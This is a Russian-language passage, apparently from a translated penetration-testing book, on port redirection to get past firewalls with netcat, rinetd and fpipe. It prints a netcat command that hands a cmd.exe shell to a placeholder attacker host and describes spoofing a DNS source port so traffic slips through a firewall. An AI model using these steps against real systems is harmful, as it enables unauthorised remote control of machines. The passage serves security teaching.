Перенаправление портов Выше было рассмотрено несколько программ, которые можно использовать для удаленного управления из командной строки. Все эти средства обсуждались в контексте установки непосредственного удаленного соединения. Однако, что делать в той ситуации, когда брандмауэр блокирует прямой доступ к целевому компьютеру? Подобную преграду взломщики могут обойти с помощью перенаправления портов (port redirection). Этот вопрос подробно будет изложен в главе 14, однако сейчас мы познакомимся с некоторыми средствами и приемами, которые могут оказаться полезными для хакинга компьютеров под управлением системы NT. Захват командной оболочки м помощью netcat Если имеется возможность поместить утилиту netcat на целевой компьютер, расположенный позади брандмауэра, то через любой требуемый порт можно получить "в свое распоряжение" удаленную командную оболочку. Такую ситуацию мы называем "захватом оболочки", поскольку в этом случае на рабочем компьютере взломщика сосредоточиваются все функции оболочки удаленной системы. Вот пример команды, запущенной взломщиком из удаленной командной строки. nс attacker.com 80 | cmd.exe | nс attacker.com 25
Утилита rinetd Реализация перенаправления портов с помощью трех настроенных вручную сеансов netcat может оказаться далеко не наилучшим способом. Для этого можно воспользоваться различными утилитами, специально предназначенными для перенаправления портов. Эти средства можно найти в Internet. Одной из наиболее мощных утилит является rinetd — сервер перенаправления Internet Томаса Боутела (Thomas Boutell), который можно найти по адресу http://www.boutell.com/rinetd/index.html. С ее помощью можно перенаправить TCP-соединения с одного IP-адреса и порта на другой. Утилита rinetd функционирует подобно datapipe (см. главу 14). Существует также версия, поддерживающая интерфейс Win32 (включая 2000), а также Linux. Утилиту rinetd очень легко использовать: достаточно просто создать конфигурационный файл, содержащий правила передачи пакетов, в следующем формате. Утилита fpipe Утилита fpipe — средство передачи/перенаправления исходных пакетов TCP через заданный порт. Она разработана в компании Foundstone, Inc., к которой авторы этой книги имеют непосредственное отношение. Утилита fpipe позволяет создать поток TCP и дополнительно задать требуемый исходный порт. Ее удобно применять для тестового проникновения через брандмауэры, разрешающие прохождение определенных типов пакетов во внутреннюю сеть.
Самой примечательной особенностью утилиты fpipe является возможность задать исходный порт. В процессе тестового проникновения это зачастую необходимо для обхода брандмауэра или маршрутизатора, передающего лишь данные, предназначенные определенным портам (например, порту TCP 25, используемому почтовым сервером). Обычно клиентским соединениям TCP/IP назначаются исходные порты с большими номерами, которые брандмауэр, как правило, пропускает через фильтр. Однако тот же брандмауэр должен пропускать данные DNS (фактически, он это и делает). С помощью утилиты fpipe для потока данных можно принудительно задать определенный исходный порт, в данном случае порт DNS. С этого момента этот поток будет рассматриваться брандмауэром как данные "разрешенной" службы и, таким образом, будет пропускаться во внутреннюю сеть. Пользователи должны знать, что если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIMEJHAIT и CLOSEJHAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных/удаленных адреса/порта IP, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено. |